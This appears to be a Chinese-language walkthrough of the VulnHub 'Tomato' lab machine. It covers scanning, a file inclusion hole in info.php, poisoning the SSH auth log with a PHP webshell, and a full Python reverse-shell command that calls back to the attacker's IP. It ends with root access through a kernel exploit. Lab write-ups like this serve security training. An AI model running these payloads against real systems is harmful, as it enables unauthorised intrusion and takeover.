vulnhub靶场,Tomato
环境准备
靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/
攻击机:kali(192.168.109.128)
靶机:Tomato:(192.168.109.141)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标哦靶机IP为192.168.109.141
使用nmap扫描查看目标端口开放情况
开放端口:21、82、2211、8888
可以看到靶机做了一些安全措施,将ssh端口更改为了2211端口
既然开了ftp(21)端口,那就怀着试试的准备看能不能连过去
看来是不可能了,那就从80端口突破
浏览器访问目标靶机80端口
一张寸静态图片,查看页面源代码也没有发现什么
使用dirb对网站目录进行扫描
访问antibot-image
目录
点击antibots
目录
发现一些文件,挨个进行访问,当访问info.php目录时发现显示了php的版本详细信息,应该是一个敏感文件泄露
查看页面源代码
这里很明显是存在一个文件包含漏洞的,使用image进行传参
漏洞POC验证,试着包含密码文件
可以看到,页面成功的显示出了密码文件的内容,说明这里是存在文件包含漏洞的
渗透过程
找到了文件包含的位置,但是没有文件上传的地方,前面信息收集发现是开启了ssh(2211)了的,每次使用ssh连接的信息都会记录到日志文件/var/log/auth.log里面的,所以可以尝试往里面写入木马,然后利用文件包含漏洞去执行木马
先试着日志文件是不是在默认路径
可以看到,是能够成功包含的,说明日志文件就在默认路径
使用ssh连接并写入一句话木马
ssh '<?php system($_GET['cmd']); ?>'@192.168.109.141 -p 2211
不用管能不能成功连接,只要确定一句话木马写进入就行了
看看木马有没有写入成功,能不能执行命令
可以看到命令是成功执行了,接下来就试着去反弹shell了
看看目标靶机有没有安装python
view-source:http://192.168.109.141/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=whereis python
可以看到目标靶机安装了python3,那就可以利用python进行反弹了
kali终端:
靶机:
view-source:http://192.168.109.141/antibot_image/antibots/info.php?image=/var/log/auth.log&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
可以看到kali这边成功反弹了一个shell
权限提升
查看操作系统内核
在网上查看对应的exp
下载攻击代码,进入linux-kernel-exploits/kernel-4.4.0-21-generic/CVE-2017-6074
目录,运行compile.sh
文件
查看生成的exp
使用python开启一个临时http服务器
靶机切换到tmp目录下,下载exp,并给予执行的权限
执行exp,成功提升为root权限,切换到其root目录下面,成功获得flag,Tomato靶机渗透结束